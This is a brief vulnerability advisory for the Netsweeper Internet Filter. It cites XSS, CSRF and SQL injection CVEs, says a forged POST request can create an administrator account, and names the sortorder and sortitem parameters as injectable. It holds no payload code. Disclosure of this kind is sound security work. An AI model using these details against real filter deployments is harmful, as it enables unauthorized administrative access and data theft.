# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\
# CVE :
CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and 
CVE-2012-3859 for the SQL Injection ("The later)
NOTE:

# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.

CSRF Exploitation:

In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.

SQL Injection ("The later") Exploitation:

The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.
